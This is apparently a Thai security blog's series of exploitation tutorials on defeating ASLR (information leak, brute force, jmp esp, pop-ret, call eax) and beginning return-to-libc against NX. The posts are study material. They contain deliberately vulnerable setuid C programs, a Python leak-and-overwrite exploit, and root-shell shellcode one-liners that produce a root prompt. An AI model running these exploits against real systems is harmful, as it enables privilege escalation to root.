Saturday, April 21, 2012

ตัวอย่าง Defeating ASLR แบบ Information Leak

เรามาดูตัวอย่างแบบง่ายๆ สำหรับ information leak เพื่อ defeating ASLR โดยเราจะใช้ตัวอย่างต่อไปนี้ (ex_14_2.c) แนะนำให้ลองทำโดยไม่ใช้วิธี brute force ก่อนนะครับ

/*
gcc -fno-stack-protector -z execstack -pie -Wl,-z,relro -Wl,-z,now -o ex_14_2 ex_14_2.c
sudo su -c "chown root: ex_14_2;chmod 4755 ex_14_2"
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln()
{
    char user[32];
    char buf[128];

    printf("Username: ");
    fflush(stdout);
    fgets(buf, 256, stdin);
    strncpy(user, buf, 32);

    printf("Hello %s\n", user);
    fflush(stdout);

    printf("Welcome to echo program. Type your data:\n");
    fgets(buf, 256, stdin);
    printf("%s", buf);
}

void junk()
{
    int i = 0x55555555;
    int j = 0x55555555;
}

int main(int argc, char **argv)
{
    junk();
    vuln();
    return 0;
}

เรามาดูที่ compile option "-pie" กันก่อน option นี้ จะทำให้ executable นั้นถูก load เหมือนเป็น shared object ซึ่งทำให้ ASLR มีผลกับ main executable ด้วย และถ้าเราดูไฟล์นี้ด้วยคำสั่ง file จะเห็นว่าเป็น shared object

$ file ex_14_2
ex_14_2: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped

ปัญหาของโปรแกรมนี้ อันแรกคือที่คำสั่ง fgets() รับจำนวน input มากกว่าที่ buf จองไว้ ซึ่งเป็น buffer overflow แต่เนื่องด้วยโปรแกรมนี้ compile แบบ PIE ซึ่งทำให้ตัวโปรแกรมเองถูกโหลดที่ random address ทำให้เราไม่สามารถใช้วิธี ใช้ส่วนที่ไม่ random ได้

ถ้าใครสังเกตโปรแกรมนี้ดีๆ จะเห็นอีกปัญหาหนึ่งที่คำสั่ง strncpy() จะเห็นว่าถ้าข้อมูล string ใน buf นั้นยาวมากกว่า 31 ตัว ทำให้ string ใน user ไม่ได้จบด้วยค่า NULL ซึ่งส่งผลให้เวลาโปรแกรมสั่ง printf() จะคิดว่า string user นั้นมีความยาวมากกว่า 32 ตัวอักษร และแสดงข้อมูลที่อยู่หลัง user แล้วเมื่อเราดูตำแหน่งของ user ใน stack ด้วย gdb

$ gdb -q ./ex_14_2
Reading symbols from /home/worawit/tutz/ch14/ex_14_2...(no debugging symbols found)...done.
(gdb) b vuln
Breakpoint 1 at 0x6f5  # จะเห็นว่า address เป็น offset ของคำสั่ง
(gdb) r
Starting program: /home/worawit/tutz/ch14/ex_14_2

Breakpoint 1, 0x00def6f5 in vuln ()   # executable ถูกโหลดที่ address 0x00def000
(gdb) disass
Dump of assembler code for function vuln:
...
   0x0011074b <+95>:    mov    $0x1108b7,%eax
   0x00110750 <+100>:   lea    -0x28(%ebp),%edx  # user อยู่ที่ ebp-0x28
   0x00110753 <+103>:   mov    %edx,0x4(%esp)
   0x00110757 <+107>:   mov    %eax,(%esp)
   0x0011075a <+110>:   call   0xb7ebd290 <printf>
   0x0011075f <+115>:   mov    0xb7fcb860,%eax
   0x00110764 <+120>:   mov    %eax,(%esp)
   0x00110767 <+123>:   call   0xb7ed1a00 <fflush>
...

จะเห็นว่า user อยู่ที่ตำแหน่ง ebp-0x28 ดังนั้นคำสั่ง printf() อันแรกจะแสดงข้อมูล 40 ตัวก่อนแล้วจะตามด้วย saved ebp และ saved eip ดังนั้นวิธีทำ info disclosure สามารถทำด้วย code ต่อไปนี้ (ex_14_2_1.py)

#!/usr/bin/env python
import os, sys
from struct import pack,unpack

pin_r, pin_w = os.pipe()
pout_r, pout_w = os.pipe()

pid = os.fork()
if pid == 0:
    # child
    os.close(pin_w)
    os.close(pout_r)
    os.dup2(pin_r, 0)
    os.dup2(pout_w, 1)
    os.execl("./ex_14_2", "./ex_14_2")
    sys.exit()

# parent
os.close(pin_r)
os.close(pout_w)

data = os.read(pout_r, 256)
os.write(pin_w, "A"*50+"\n") # ใส่อะไรก็ได้ให้ยาวกว่า 32 ตัวอักษร
data = os.read(pout_r, 256)
sebp, seip = unpack("<II", data[46:46+8])  # 46 เพราะว่ามี "Hello "
sebp_addr = sebp - 0x10
seip_addr = sebp_addr + 4
image_load_addr = seip - 0x7d6
buf_addr = sebp_addr - 0xa8

print "saved ebp: %08x" % sebp
print "saved eip: %08x" % seip
print "saved ebp addr: %08x" % sebp_addr
print "saved eip addr: %08x" % seip_addr
print "image load addr: %08x" % image_load_addr

os.write(pin_w, "AAAA\n")
data = os.read(pout_r, 256)

เมื่อรัน python script ที่ path เดียวกันจะได้ (ถ้าใครงง ก็ให้ debug ดูนะครับ)

$ python ex_14_2_1.py
saved ebp: bfdfddf8
saved eip: 0abca7d6
saved ebp addr: bfdfdde8
saved eip addr: bfdfddec
image load addr: 0abca000

ค่า saved ebp ที่ถูก print ออกมานั้น เป็นค่า ebp ของ main() function ดังนั้นเราต้องลบไป 0x10 (ดูด้วย gdb) เพื่อให้ได้ address ของ saved ebp

ค่าหนึ่งผมอยากให้ดูคือ image_load_addr ถึงแม้ว่าค่านี้จะไม่ถูกใช้ในตัวอย่างนี้ แต่ค่านี้จำเป็นอย่างมากถ้าเราจำเป็นต้องใช้ code ใน executable เช่นในวิธี Use non-randomization address เพราะเริ่มต้นเรารู้เพียง offset ของ code แต่เมื่อเรารู้ว่า executable ถูก load ที่ address ไหน เราจะสามารถหาได้ว่า code ที่เราต้องการจะกระโดดไปทำงาน ถูกโหลดที่ address ใดใน virtual memory

เมื่อเรารู้ address ของ stack แล้ว เราก็สามารถ exploit ได้แค่แก้ saved eip ชี้ไปที่ shellcode ของเรา ด้วย python code ข้างล่างนี้

payload = sc + "A"*(0xa8-len(sc)) + "BBBB" + pack("<I", buf_addr)

แต่เนื่องด้วยเราสร้าง pipe ขึ้นมาแล้วเอามาแทน stdin กับ stdout และ default buffer size ของ pipe มีขนาด 4096 bytes ดังนั้น exploit ที่ผมใช้จึงมีการส่งขยะไปก่อน 4096 bytes แล้วตามด้วย command และจะได้ exploit ex_14_2.py ซึ่งเมื่อ run แล้วจะเห็นว่า euid มีค่าเป็น 0

ถ้าใครอยากให้ได้ shell เหมือนตัวอย่างที่ผ่านๆ มา ก็ทำได้ โดยการเรียก dup() เพื่อ copy stdin กับ stdout ไว้ก่อน แล้วก็เพิ่ม shellcode ที่จะ copy กับมาที่ file descriptor 0 กับ 1 (ตรงนี้ผมไม่ทำให้ดูนะครับ)

ก่อนจบอยากให้ลองถ้า main() ไม่มีการเรียก junk() แล้วจะเห็นว่าเรา exploit ที่เขียนมาไม่สามารถทำ info leak เพื่ออ่านค่า saved eip กับ saved eip ลองหาดูนะครับว่าทำไม แต่จริงๆ แล้วในกรณีนี้ยังสามารถทำ info leak ได้ แนะนำให้อ่าน http://vulnfactory.org/blog/2010/04/08/controlling-uninitialized-memory-with-ld_preload/ แล้วลองด้วยตัวเองนะครับ

Wednesday, October 19, 2011

Defeating ASLR

ในหัวข้อนี้ ผมจะพูดถึงเรื่อง ASLR (Address Space Layout Randomization) ซึ่งเป็น kernel feature ที่ช่วย mitigrate ปัญหาเรื่อง buffer overflow โดยเมื่อ enable feature นี้ (default บน Linux ปัจจุบัน) จะทำให้ address ของ executable file (ถ้า compile ด้วย PIE option), shared objects, stack, heap (เมื่อค่า randomize_va_space เป็น 2) ถูก random เมื่อโปรแกรมเริ่มการทำงาน เรามาดูของจริงกันเลยดีกว่า

$ sudo su -c "echo 1 > /proc/sys/kernel/randomize_va_space"
$ cat /proc/self/maps
00675000-007c8000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
...
00908000-00909000 r-xp 00000000 00:00 0          [vdso]
00cd9000-00cf4000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
00cf4000-00cf5000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
00cf5000-00cf6000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
08048000-08054000 r-xp 00000000 08:01 659        /bin/cat
08054000-08055000 r--p 0000b000 08:01 659        /bin/cat
08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat
08056000-08077000 rw-p 00000000 00:00 0          [heap]
b75d3000-b7612000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE
...
b7742000-b7744000 rw-p 00000000 00:00 0
bfd7a000-bfd8f000 rw-p 00000000 00:00 0          [stack]
$ cat /proc/self/maps
001dd000-00330000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00330000-00331000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00331000-00333000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00333000-00334000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00334000-00337000 rw-p 00000000 00:00 0
0094b000-00966000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
00966000-00967000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
00967000-00968000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
009da000-009db000 r-xp 00000000 00:00 0          [vdso]
08048000-08054000 r-xp 00000000 08:01 659        /bin/cat     # ค่าเดิม
08054000-08055000 r--p 0000b000 08:01 659        /bin/cat
08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat
08056000-08077000 rw-p 00000000 00:00 0          [heap]       # ค่าเดิม
b7628000-b7667000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE
...
b7797000-b7799000 rw-p 00000000 00:00 0
bfaa3000-bfab8000 rw-p 00000000 00:00 0          [stack]

จะเห็นว่า address เริ่มต้นของ shared objects และ stack นั้นเปลี่ยนไปทุกครั้ง และเมื่อเราเปลี่ยนค่า randomize_va_space เป็น 2 โดยครั้งนี้จะเห็นว่า heap address

$ sudo su -c "echo 2 > /proc/sys/kernel/randomize_va_space"
$ cat /proc/self/maps
006be000-006d9000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
006d9000-006da000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
006da000-006db000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
008ea000-00a3d000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a3d000-00a3e000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a3e000-00a40000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a40000-00a41000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a41000-00a44000 rw-p 00000000 00:00 0
00bcd000-00bce000 r-xp 00000000 00:00 0          [vdso]
08048000-08054000 r-xp 00000000 08:01 659        /bin/cat
08054000-08055000 r--p 0000b000 08:01 659        /bin/cat
08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat
09993000-099b4000 rw-p 00000000 00:00 0          [heap]      # เปลี่ยนแล้ว
b76e6000-b7725000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE
...
b7855000-b7857000 rw-p 00000000 00:00 0
bfac9000-bfade000 rw-p 00000000 00:00 0          [stack]

ผลของ ASLR นั้น ทำให้เราไม่สามารถที่จะระบุ memory address ของ shellcode เราได้ รวมถึงเทคนิค ret2libc เพราะ libc ก็ถูกโหลดเข้า memory ใน address ที่เปลี่ยนไปเรื่อยๆ สำหรับวิธี defeat ASLR นั้นจะมีอยู่ 3 แบบหลักๆ คือ

1. Bruteforce

วิธีนี้ส่วนมากจะใช้ได้เฉพาะกับ 32-bit architecture เนื่องด้วยใน 32-bit architecture จำนวน bit ของ address ที่จะ random นั้นอย่างมากก็แค่ 24 bit แต่ implementation ส่วนมากนั้นจะ random เพียงแค่ 12-16 bit ซึ่งเป็นจำนวนที่น้อยมาก รวมทั้งการที่เราสามารถใช้ NOP sled ใหญ่ๆ ทำให้เมื่อเราเขียนทับ saved eip ด้วยค่า address หนึ่งนั้น มีโอกาสที่จะถูกสูงขึ้นมาก

เงื่อนไขอีกเงื่อนไขสำหรับวิธีนี้ คือเราต้องสามารถลองได้หลายๆ ครั้ง เช่น local exploit ที่เราสามารถเรียก execute กี่ครั้งก็ได้ เรามาดูตัวอย่างกันเลยดีกว่า โดยผมจะเอาตัวอย่างจาก "Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)" ซึ่งเรามี exploit อยู่แล้ว

สำหรับวิธี bruteforce ก็คือเขียนทับ saved eip ค่าเดิมไป แล้วสั่ง execute โปรแกรมไปเรื่อยๆ จนกว่า OS จะ random address ที่ทำให้ exploit เราทำงาน ดังนั้น exploit ที่เราเคยทำไปแล้วสามารถนำมาใช้ได้เลย โดยผมจะเพิ่ม NOP sled เป็น 8192 bytes เพื่อเพิ่มโอกาสถูกให้มีมากขึ้น ซึ่งเราจะได้ shell เร็วหรือช้า ก็ขึ้นอยู่ว่า OS สุ่ม address ออกมาอย่างไร

$ while [ 1 ]; do ./ex_06_4 `perl -e 'print "UUU" . "\x50\xf6\xff\xbf"x10 . "\x90"x8192 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x7b\x34\x70\xcd\x80"'`; done
Segmentation fault
Segmentation fault
Segmentation fault
...
Segmentation fault
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit
Segmentation fault
...
Segmentation fault
^C

2. Use non-randomization address

วิธีนี้คือการใช้ code ในส่วนที่ address ไม่มีการ random เพื่อกระโดดไปที่ shellcode ของเรา ซึ่งโดยปกติ compile option จะไม่มีการ enable PIE ทำให้ส่วน executable binary จะถูกโหลดไปที่ตำแหน่งเดิมของ memory เสมอ

จริงๆ แล้ววิธีนี้ไม่มีวิธีตายตัว คือทำยังไงก็ได้ ให้โปรแกรมกระโดดไปที่ shellcode ของเรา (หลังๆ จะเจอแบบนี้เรื่อยๆ นะครับ) โดยผมจะเอามาให้ดู 3 แบบที่ใช้กันบ่อยๆ เรามาดู code ตัวอย่างสำหรับวิธีนี้กันเลยดีกว่า (ex_14_1.c)

/*
gcc -fno-stack-protector -z norelro -z execstack -o ex_14_1 ex_14_1.c
sudo su -c "chown root: ex_14_1;chmod 4755 ex_14_1"
*/
#include <string.h>

void jmpesp()
{
 __asm__ ("jmp *%esp");
}

void vuln(int unused, const char *src)
{
 char buffer[64];
 strcpy(buffer, src);
}

int main(int argc, char **argv)
{
 vuln(0, argv[1]);
 return 0;
}

มาถึงหัวข้อนี้แล้ว ผมขอข้ามการอธิบายเรื่องช่องโหว่ของโปรแกรม โดยจากโปรแกรมนี้ เราต้องเขียนข้อมูลไปก่อน 76 ตัวแล้วเราจึงค่อยเขียนทับ saved eip ดังนั้น exploit ข้างล่างคือทำให้ eip กระโดดไปทำงานที่ 0x55555555

$ ./ex_14_1 `perl -e 'print "A"x76,"UUUU"'`

ใช้ jmp esp

เนื่องด้วยหลังคำสั่ง ret โปรแกรมจะ pop ค่า saved eip จาก stack ทำให้ stack pointer (esp) ชี้ไป address ถัดไปจากที่เก็บ saved eip ดังนั้นถ้าเราเขียนทับ saved eip เพื่อให้กระโดดไปทำงานที่คำสั่ง jmp *%esp โปรแกรมก็จะกระโดดไปที่ address หลังที่เก็บ saved eip ซึ่งถ้าเราวาง shellcode ของเราไว้หลัง saved eip ที่เราเขียนทับ โปรแกรมก็จะทำงาน shellcode ของเรา

ส่วนวิธีการหา jmp *%esp ใน binary นั้นอาจใช้ objdump ก็ได้ แต่คราวนี้ผมจะใช้ msfelfscan เพื่อหา address

$ msfelfscan -j esp ex_14_1
[ex_14_1]
0x080483c7 jmp esp

เมื่อได้ address มาแล้ว exploit ของเราก็จะเป็น

$ ./ex_14_1 `perl -e 'print "A"x76,"\xc7\x83\x04\x08","\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
#

ใช้ pop* ret

แนวคิดของวิธีนี้คือ ใช้ค่า address ของ shellcode ที่เก็บไว้ใน stack หลัง saved eip ไม่ไกลมาก ซึ่งส่วนมากเราจะใช้วิธีนี้ได้เมื่อมีการส่ง pointer ที่ชี้ไปยัง shellcode เป็น argument ของ function ที่มีช่องโหว่ หรือ function ที่เรียก function ที่มีปัญหามีการใช้ pointer ที่ชี้ไปยัง shellcode ดังนั้นเมื่อเรา pop ข้อมูลออกจาก stack จน stack pointer (esp) นั้นชี้ไปที่เก็บ address ของ shellcode แล้วสั่ง ret โปรแกรมก็จะกระโดดไปที่ shellcode ของเรา

ที่ผมใช้ pop* นั้นหมายถึง อาจจะไม่จำเป็นต้อง pop ก็ได้ หรืออาจจะต้องใช้ pop หลายๆ ครั้ง โดยในตัวอย่างข้างบนนั้น จะเห็นว่า pointer ที่ชี้ไปยัง shellcode ของเรานั้นเป็น argument ที่ 1 ของ vuln() ดังนั้นเราต้องใช้ pop 1 ครั้ง แล้วตามด้วยคำสั่ง ret และผมจะใช้ msfelfscan ในการหาอีกครั้ง

$ msfelfscan -p ex_14_1
[ex_14_1]
0x08048392 pop ebx; pop ebp; ret
0x08048477 pop edi; pop ebp; ret
0x080484a7 pop ebx; pop ebp; ret

จะเห็นว่า msfelfscan นั้นมีแต่ option ให้หา pop+pop+ret ซึ่งเป็นวิธีหลักสำหรับการเขียน exploit บน Windows แบบ SEH based เพราะว่า address ที่โปรแกรมจะกลับไปทำงานหลังทำงานใน Exception Handler นั้นเป็น argument ที่ 3 ของ Exception Handler function ดังนั้นเวลาที่ใช้ option นี้กับตัวอย่างของเรา เราต้องบวก address ไปอีก 1 ดังนั้น address ที่เราจะใช้คือ 0x08048393 และ exploit เราก็จะเป็น

$ ./ex_14_1 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80","A"x42,"\x93\x83\x04\x08"'`
#

ใช้ jmp eax

แนวคิดของวิธีนี้ก็คือ เวลา function จะ return ค่านั้นจะทำการ set eax เป็นค่าที่จะ return ดังนั้นถ้า eax เป็น address ของ shellcode เราจะสามารถใช้วิธีนี้ได้ ในตัวอย่างข้างบนนั้น จะเห็นว่า vuln() นั้นไม่มีการ return ค่า แต่ strcpy() นั้นจะ return address ของ dst ทำให้ eax ชี้ไปที่ address ของ buffer และจบ function โดยไม่มีการเปลี่ยนค่า eax

เมื่อเข้าใจกันแล้ว ก็มาหา address ของ jmp eax

$ msfelfscan -j eax ex_14_1
[ex_14_1]
0x080483bf call eax
0x0804849b call eax

จะเห็นว่า msfelfscan นั้นเจอเป็น call eax ซึ่งจริงๆ ผลลัพธ์นั้นเหมือนกัน คือโปรแกรมกระโดดไปที่ eax ชี้อยู่ และจริงๆ แล้วไม่จำเป็นต้องเป็น eax จะเป็น register ไหนก็ได้ ของเพียงแค่ว่าเราหา jmp ไปหา register นั้นใน executable ได้หรือเปล่า แต่ที่ผมใช้เป็น eax ให้หัวข้อ เพราะมันมีอยู่ในทุกๆ executable

ได้ address มาแล้ว exploit ก็จะเป็น

$ ./ex_14_1 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80","A"x42,"\xbf\x83\x04\x08"'`
#

ได้เห็นทั้ง 3 แบบไปแล้ว สิ่งที่ผมอยากจะให้สังเกตอีกอย่างคือ วิธีนี้ยังทำให้ exploit ที่เราเขียนนั้นมีทำงานเสมอไม่ว่าเราจะเอา binary นี้ไปรันบน Linux distribution ไหน exploit เราก็จะทำงานได้เสมอ

3. Information leak

วิธีนี้คือใช้ช่องโหว่อีกช่องโหว่ของโปรแกรม (บางครั้งเป็นช่องโหว่เดียวกัน) เพื่อที่จะให้โปรแกรมแสดงข้อมูลภายในที่โปรแกรมไม่ตั้งใจให้แสดงเช่น memory address

ช่องโหว่สำหรับ information leak ที่เคยเจอกันแล้วคือ format string bug ส่วนแบบอื่นที่พบบ่อยๆ คือเราสามารทำให้โปรแกรมแสดงข้อมูลที่ไม่ได้ initialize แต่ส่วนมากการเขียน exploit ที่ต้องใช้ช่องโหว่ information leak ช่วยนั้นจะค่อนข้างซับซ้อน ผมจึงขอแสดงตัวอย่างไว้ทีหลัง


Reference:
- Address space layout randomization - Wikipedia, the free encyclopedia
- Linux kernel ASLR Implementation
- ASLR Smack & Laugh Reference

Saturday, September 10, 2011

Basic Return-to-libc

จากตัวอย่างก่อนหน้านี้ทั้งหมด จะเห็นว่าเราได้มีการ inject shellcode ไว้ใน stack แล้วทำให้ eip ชี้ไปที่ shellcode ของเราใน stack ซึ่งโปรแกรมปกติจะไม่มีการ execute code ใน stack อยู่แล้ว ทำให้เกิดมีการทำ Non-Executable Stack โดยเริ่มต้นทำเฉพาะส่วนของ stack ไม่สามารถ execute code ได้ ซึ่งต่อมาได้มีการทำ Non-Executable (NX) ในส่วนอื่นๆ ที่ไม่จำเป็นต้องมี execution permission ด้วย เช่น .bss, heap เป็นต้น

ในหัวข้อนี้ เราจะมีดูวิธีการ bypass เมื่อมีการ enable NX ด้วย return-to-libc (ret2libc) ซึ่งจากตัวอย่างแรก (ex_13_1.c) โดยเราจะ compile ทั้งสองแบบและดู process maps

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_13_1 ex_13_1.c
gcc -fno-pie -fno-stack-protector -z norelro -o ex_13_1_nx ex_13_1.c
*/
#include <stdio.h>
int main(int argc, char **argv)
{
 getchar();
    return 0;
}
$ ./ex_13_1 &
[1] 2020
$ cat /proc/${!}/maps
00110000-0012b000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
0012b000-0012c000 r-xp 0001a000 08:01 1613       /lib/ld-2.11.1.so
0012c000-0012d000 rwxp 0001b000 08:01 1613       /lib/ld-2.11.1.so
0012d000-0012e000 r-xp 00000000 00:00 0          [vdso]
0012e000-00131000 rwxp 00000000 00:00 0
00140000-00293000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00293000-00294000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00294000-00296000 r-xp 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00296000-00297000 rwxp 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00297000-0029b000 rwxp 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:01 146881     /home/worawit/tutz/ch13/ex_13_1
08049000-0804a000 rwxp 00000000 08:01 146881     /home/worawit/tutz/ch13/ex_13_1
bffeb000-c0000000 rwxp 00000000 00:00 0          [stack]

[1]+  Stopped                 ./ex_13_1
$ fg
./ex_13_1

$ ./ex_13_1_nx &
[1] 2024
$ cat /proc/${!}/maps
00110000-0012b000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
0012b000-0012c000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
0012c000-0012d000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
0012d000-0012e000 r-xp 00000000 00:00 0          [vdso]
0012e000-00281000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00281000-00282000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00282000-00284000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00284000-00285000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00285000-00288000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:01 146944     /home/worawit/tutz/ch13/ex_13_1_nx
08049000-0804a000 rw-p 00000000 08:01 146944     /home/worawit/tutz/ch13/ex_13_1_nx
b7fed000-b7fee000 rw-p 00000000 00:00 0
b7ffd000-b8000000 rw-p 00000000 00:00 0
bffeb000-c0000000 rw-p 00000000 00:00 0          [stack]

[1]+  Stopped                 ./ex_13_1_nx
$ fg
./ex_13_1_nx

เมื่อเอา option "-z execstack" ออก เราจะเห็นว่า segment ไหนที่ไม่ใช่ code จะไม่ executable และถ้าเราลองเอา option นี้ออกในตัวอย่างเก่าๆ ออก จะเห็นว่า exploit ของเราไม่ทำงานแม้แต่อันเดียว เนื่องด้วยเราแก้ไขค่า eip ให้ไปที่ stack ที่ไม่สามารถ execute ได้ ทำให้เกิน segmentation fault

คนแรกที่อธิบายวิธี ret2libc ที่ใช้ bypass NX คือ Solar Designer ซึ่งผมได้ใส่ไว้ใน reference โดยผมจะอธิบายวิธีไม่ตรงกับใน paper ซะทีเดียว แต่หลักการเดียวกัน เพื่อให้ง่ายในการไปต่อให้หัวข้อถัดๆ ไป

concept ของ ret2libc คือแทนที่เราจะใส่ shellcode ที่เป็น system call เพื่อเรียก execve หรืออะไรก็แล้วแต่ เราก็ไปเรียก execve function (หรือ function อะไรก็ได้) ใน libc เลย ซึ่งส่วนนี้ยังไงก็ต้อง executable ส่วนวิธีที่จะเรียก function ใน libc นั้น ก็ต้องกลับไปดูที่เรื่อง "Function กับ Stack" ซึ่งเมื่อโปรแกรมทำคำสั่ง call แล้วเข้าไปใน function หรือตอนที่จบ function โปรแกรมกำลังจะทำคำสั่ง ret จะมี stack ดังนี้

จากตัวอย่างที่ผ่านมา เวลาเราทำ stack based buffer overflow เราจะเขียนทับ saved eip ไปที่ shellcode ของเรา แต่คราวนี้ถ้าเราเขียนทับ saved eip ไปที่ execve function ใน libc ซึ่งเมื่อโปรแกรมทำงานคำสั่ง ret ก็จะ pop ค่าใน stack เป็น eip แล้วเข้าไปใน execve function ซึ่งจะมี stack layout สำหรับ execve function เป็นดังนี้

จะเห็นว่า execve จะมองค่า arg2, arg3 และ arg4 ในรูปแรกเป็น function argument ที่ 1,2,3 ตามลำดับ ดังนั้นเวลาเราทำ overflow หลังจากเราเขียนทับ saved eip ด้วย address ของ execve function ใน libc แล้ว เราสามารถเขียนทับต่อเพื่อกำหนด arg1 เป็น address ของ "/bin/sh" และ arg2 กับ arg3 เป็น address ที่มีค่าเป็น 0 โปรแกรมก็จะทำงาน execve("/bin/sh", NULL, NULL) ซึ่งเทียบเท่ากับ spawn shell

เรื่อง exploit จะให้เข้าใจจริงๆ ต้องมีการลองทำ ดังนั้นเรามาดูตัวอย่างกันเลยดีกว่า (ex_13_2.c)

/*
gcc -fno-pie -fno-stack-protector -z norelro -o ex_13_2 ex_13_2.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void readfile(const char *filename)
{
    FILE *fp;
    unsigned short len;
    char buffer[2048];
    
    fp = fopen(filename, "rb");
    if (fp == NULL) {
        fprintf(stderr, "Cannot open file\n");
        exit(1);
    }
    
    fread(&len, 2, 1, fp);
    fread(buffer, 1, len, fp);
    fclose(fp);
}

int main(int argc, char **argv)
{
    if (argc != 2) {
        printf("Usage: %s filename\n", argv[0]);
        return 1;
    }
    readfile(argv[1]);
    return 0;
}

ตัวอย่างนี้ โปรแกรมทำการอ่านไฟล์ โดยจะอ่าน 2 bytes แรกของไฟล์เพื่อให้รู้ว่าต้องอ่านข้อมูลต่ออีกกี่ byte ซึ่งเห็นปัญหาได้ชัดเจนว่าถ้าเราใส่ให้ len มีขนาดมากกว่า 2048 จะทำให้เกิด buffer overflow และเนื่องด้วยในตัวอย่างนี้ใช้ fread() ทำให้ไม่มี badchar

ก่อนอื่นเรามาทำให้โปรแกรม crash ก่อนดีกว่า โดยผมจะใส่ค่า A ใน buffer และที่เหลือเป็นค่าอื่น เพื่อให้เห็นว่าตำแหน่ง saved eip อยู่ห่างจาก buffer เท่าไร

$ ulimit -c unlimited
$ perl -e 'print "\xff\x1f","A"x2048,"BBBB","CCCC","DDDD","EEEE","FFFF","GGGG"' > ex_13_2_expl
$ ./ex_13_2 ex_13_2_expl
Segmentation fault (core dumped)
$ gdb -q ./ex_13_2 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x00189977 in fclose () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0  0x00189977 in fclose () from /lib/tls/i686/cmov/libc.so.6
#1  0x080485c3 in readfile ()
#2  0x47474646 in ?? ()
#3  0xbfff4747 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) x/4x $ebp      # ดู fclose argument
0xbfffeed8:     0xbffff708      0x080485c3      0x43434242      0x00000001
(gdb) info frame 1
Stack frame at 0xbffff710:
 eip = 0x80485c3 in readfile; saved eip 0x47474646
 called by frame at 0xbffff714, caller of frame at 0xbfffeee0
 Arglist at 0xbffff708, args:
 Locals at 0xbffff708, Previous frame s sp is 0xbffff710
 Saved registers:
  ebp at 0xbffff708, eip at 0xbffff70c

จากการตรวจสอบ core file จะเห็นว่าโปรแกรมไม่ได้ crash เพราะเรา overwrite saved eip แต่ไป crash ใน fclose() function ที่เรียกจาก readfile() function และเมื่อดู argument ของ flose() จะเห็นว่าค่า fp คือ 0x43434242 แสดงให้เห็นว่าตำแหน่งที่เก็บ fp นั้นอยู่ระหว่าง buffer กับ saved eip

